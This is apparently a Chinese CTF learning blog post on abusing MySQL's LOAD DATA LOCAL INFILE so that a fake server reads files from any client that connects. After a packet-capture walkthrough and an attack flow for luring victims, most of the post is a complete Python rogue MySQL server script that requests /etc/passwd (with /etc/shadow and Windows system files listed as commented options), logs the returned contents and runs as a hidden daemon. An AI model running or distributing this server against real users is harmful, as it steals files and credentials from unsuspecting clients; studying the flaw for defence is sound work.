利用mysql local infile读取客户端文件

在DDCTF和国赛上都遇上了这么一个点,稍微学习一下

MySQL LOAD DATA INFILE

根据mysql官方文档,连接握手阶段中会执行如下操作:

  • 客户端和服务端交换各自功能
  • 如果需要则创建SSL通信通道
  • 服务端认证客户端身份

在linux下使用wireshark抓包来了解一下LOAD DATA INFILE 的工作原理

1
tcpdump -i lo -w mysql.pcap port 3306

当连接mysql的时候,服务器会发送问候包,包括协议线程ID,版本,mysql认证类型等

下一个数据包是带有用户名,密码,数据库的登录认证包,以及LOAD DATA LOCAL选项的标志位,一旦客户端启用了这个功能(比如通过--enable-local-infile标志),文件就可以从运行MySQL客户端的那台主机中读取并传输到远程服务器上。

之后就是一些包含客户端指定查询的数据包,如select @@ version_comment limit 1等

然后是我们的查询语句load data local infile ‘/etc/passwd’ into table test fields terminated by ‘\n’以及回包

这个数据包的意思就是对连接的客户端说:“嘿!请阅读/etc/passwd 文件并发给我”,于是客户端把/etc/passwd文件发回来了

到这里思路就有点清晰了,MySQL协议中比较特别的一点就是客户端并不会去记录已请求的命令,而是根据服务器的响应来执行查询。如果我们把自己伪造成mysql服务端,让受害者连接我们的服务器,当我们改了服务端返回的数据包,要求请求其他文件,那客户端就会继续发过来

攻击流程

  • 攻击者向受害者提供MySQL服务器地址、账户、密码
  • 受害者向攻击者提供的服务器发起请求,并尝试进行身份认证
  • 攻击者的MySQL接受到受害者的连接请求,攻击者发送正常的问候、身份验证正确,并且向受害者的MySQL客户端请求文件
  • 受害者的MySQL客户端认为身份验证正确,执行攻击者的发来的请求,通过LOAD DATA INLINE 功能将文件内容发送回攻击者的MySQL服务器
  • 攻击者收到受害者服务器上的信息,读取文件成功,攻击完成

恶意mysql服务端伪造

github脚本:https://github.com/Gifts/Rogue-MySql-Server

github上的脚本没跑起来2333,于是修改了脚本中的mysql_packet(根据mysql数据包中的相关数据修改)

rogue_mysql_server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
#!/usr/bin/env python
#coding: utf8

import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers

PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.DEBUG)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)

filelist = (
# r'c:\boot.ini',
# r'c:\windows\win.ini',
# r'c:\windows\system32\drivers\etc\hosts',
'/etc/passwd',
# '/var/lib/mysql/',
# '/etc/shadow',
)

#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return

if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)


class LastPacket(Exception):
pass

class OutOfOrder(Exception):
pass

class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload

def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

result = "{0}{1}".format(
header,
self.payload
)
return result

def __repr__(self):
return repr(str(self))

@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]

return mysql_packet(packet_num, payload)


class http_request_handler(asynchat.async_chat):

def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'5.7.23-0ubuntu0.16.04.1' + '\00', # Version
'\xa0\x00\x00\x00', # Thread ID
'\x11\x32\x07\x01\x0f\x6e\x77\x64' + '\00', # Salt
'\xff\xf7', # Capabilities
'\x08', # Collation
'\x02\x00\xff\x81\x15', # Server Status
'\00' * 10, # Unknown
'\x6b\x4c\x2c\x18\x20\x12\x02\x07\x30\x04\x2f\x3a' + '\00',
"mysql_native_password" + '\x00'
))
)
)

self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']

def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)

def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)

def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []

if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')

filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)

if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1

elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()


class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)

if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()

self.listen(5)

def handle_accept(self):
pair = self.accept()

if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)

z = mysql_listener()
daemonize()
asyncore.loop()

脚本使用

使用之前先关闭mysql服务

运行rogue_mysql_server.py,以127.0.0.1连接mysql

参考链接

https://xz.aliyun.com/t/3973